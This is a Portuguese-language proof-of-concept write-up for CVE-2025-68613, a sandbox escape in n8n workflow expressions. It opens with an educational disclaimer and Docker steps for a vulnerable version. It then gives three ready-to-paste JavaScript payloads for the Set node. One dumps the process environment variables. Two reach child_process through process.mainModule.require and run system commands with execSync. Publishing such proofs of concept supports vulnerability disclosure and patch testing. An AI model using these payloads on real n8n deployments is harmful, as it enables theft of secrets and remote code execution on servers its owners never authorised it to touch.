PoC: Escape do Sandbox do n8n (CVE-2025-68613)

Apenas para Fins Educacionais Esta Prova de Conceito demonstra uma vulnerabilidade crítica (CVE-2025-68613) no n8n. Não use isto em sistemas que você não possui ou para os quais não tem permissão explícita para testar.

Visão Geral da Vulnerabilidade

As versões do n8n anteriores à 1.122.0 contêm uma vulnerabilidade de Execução Remota de Código (RCE). Usuários autenticados podem contornar o sandbox de expressões e executar código arbitrário no sistema hospedeiro por meio de payloads JavaScript específicos no editor de expressões do workflow.

1. Configuração do Ambiente Vulnerável

Crie um volume de dados e execute uma versão vulnerável do n8n (ex.: v1.120.0).

# Criar volume para persistência
docker volume create n8n_data

# Executar instância vulnerável do n8n
docker run -it --rm \
  --name n8n \
  -p 5678:5678 \
  -v n8n_data:/home/node/.n8n \
  n8nio/n8n:1.120.0

2. Passos para Reprodução

Acessar a Interface

Navegue para http://localhost:5678 e complete a configuração inicial, se necessário.

Criar um Workflow

Clique em "Add Workflow" para iniciar um workflow em branco.

Adicionar um Nó Vulnerável

Adicione um nó Set ao workflow. Este nó permite definir valores que podem ser avaliados como expressões.

Configurar Expressão

No nó Set, modifique um parâmetro (ex.: value) e altere o tipo de entrada para Expression.

3. Payloads de Exploração

Insira os seguintes payloads no editor de expressões para demonstrar a vulnerabilidade.

Payload 1: Extração de Variáveis de Ambiente

Este payload acessa this.process.env para vazar variáveis de ambiente sensíveis do contêiner.

Payload:

{{ (function() {
  return JSON.stringify(this.process.env, null, 2);
})() }}

Resultado:

Payload 2: Execução Remota de Código (whoami)

Este payload contorna o sandbox acessando process.mainModule.require para carregar o módulo child_process, permitindo a execução de comandos arbitrários do sistema.

Payload:

{{ (function() {
  const require = this.process.mainModule.require;
  const { execSync } = require('child_process');
  return execSync('whoami').toString();
})() }}

Resultado: Verifica o contexto de usuário do processo em execução.

Payload 3: RCE Completa (Listar Diretório Raiz)

Demonstra a capacidade de navegar pelo sistema de arquivos.

Payload:

{{ (function() {
  const require = this.process.mainModule.require;
  const { execSync } = require('child_process');
  return execSync('ls -la /').toString();
})() }}

Resultado: